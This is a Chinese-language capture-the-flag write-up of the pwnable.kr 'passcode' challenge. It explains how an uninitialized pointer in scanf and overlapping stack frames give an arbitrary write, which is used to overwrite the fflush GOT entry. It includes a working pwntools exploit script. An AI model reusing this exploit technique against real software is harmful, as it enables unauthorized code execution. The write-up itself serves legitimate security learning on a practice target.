【pwnable.kr】passcode
作者:互联网
题目描述
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
思路
这道题我参考了大佬的才最终做出来。首先在直接运行文件经常出现segmentation fault。通过题目的提示编译了一次源代码,发现scanf的第二个参数没有加取地址符&,从而输入的内容不会存到本以为会存到的位置,而是将那个位置中的内容作为存储的地址。既然输入的passcode并不会真的用于之后的比较,那么无法通过构造passcode来达到目的,从而想到利用第一次输入的name。由于welcome
函数和login
函数连续被调用,且没有开启aslr,所以它们的ebp是相同的,它们所使用的栈空间有重合的部分。通过查看汇编可以计算出name的最后4位会与passcode1的地址重合。从而passcode1的地址和内容都可控,达到一次任意地址写的目的。
但是由于只有一次写的机会,所以不能构造两个passcode,于是想到覆写got表。只要将其中一个会被调用的got表的地址改为读flag的地址就可以了。
至于最后的实现,有三种方式:
- 通过pwntools的ssh来实现
exp如下:
from pwn import *
debug = 0
binary = ELF("./passcode")
fflush_got = binary.got["fflush"]
if debug:
context.log_level = 'debug'
p = process("./passcode")
gdb.attach(p,'b* 0x8048604')
else:
s = ssh(host='pwnable.kr',user='passcode',port=2222,password='guest')
p = s.process('./passcode')
p.recvuntil("enter you name : ")
p.sendline('a'*96+p32(fflush_got))
p.recvuntil('enter passcode1 : ')
p.sendline(str(int(0x80485E3)))
p.interactive()
- 直接ssh到pwntools用python -c来实现,虽然有多次输入,但是只需要将多次输入一起传进去就可以了
- 将脚本放在目标主机/tmp文件夹下运行
一些小tip
- 在pwndbg插件下直接输入got显示got表
- x/10x addr显示16进制
一些问题
- 在通过pwntools与gdb调试的时候,在第一个断点直接c或者n指令会卡住
- 有时候切换页面再切换回来这个问题就解决了,很神奇,如有大神解答感激不尽。
标签:pwnable,kr,地址,ssh,passcode,got,fflush,输入 来源: https://blog.csdn.net/qq_33892117/article/details/100086238